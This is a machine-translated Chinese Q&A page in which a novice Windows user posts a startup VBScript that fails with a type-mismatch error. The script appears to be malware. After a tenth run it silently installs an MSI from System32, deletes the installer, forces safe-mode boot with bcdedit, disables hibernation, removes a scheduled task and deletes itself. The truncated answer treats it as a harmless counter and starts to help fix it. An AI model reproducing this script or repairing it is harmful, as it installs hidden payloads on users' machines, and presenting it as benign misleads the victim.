Windows脚本宿主问题。错误代码800a000D ..类型不匹配的“客户端”

问题描述 投票:0回答:1

您好,我是Windows 10用户,对编程的了解很少到零。出现错误,Windows无法加载...,当我打开电脑时出现一个对话框。“ Windows脚本主机”

此代码出了什么问题……错误表明它在第10行的char 2上

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
    Set setting = fso.OpenTextFile(ccdat, 1, 0)
    cc = CInt(setting.ReadLine)
    setting.Close

    If(cc > 9) Then
        oShell.Run strArgs, 0, false
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        strScript = Wscript.ScriptFullName
        objFSO.DeleteFile(ccdat)
        objFSO.DeleteFile(strScript)
        WScript.Quit()
    End If

    Set setting = fso.CreateTextFile(ccdat, True, False)
    cc = cc+1
    setting.Write(cc)
    setting.Close
    WScript.Quit()
Else

Set setting = fso.CreateTextFile(ccdat, True, False)
    setting.Write("0")
    setting.Close
    WScript.Quit()
End If
windows shell vbscript wsh
1个回答
0
投票

根据您的示例,看来updatesettings.dbf只是一个包含增量计数器的文件。实际上,计数器值可能大于MAXINT,这也可能导致该错误。如果为true,请尝试从此更改第10行:

© www.soinside.com 2019 - 2024. All rights reserved.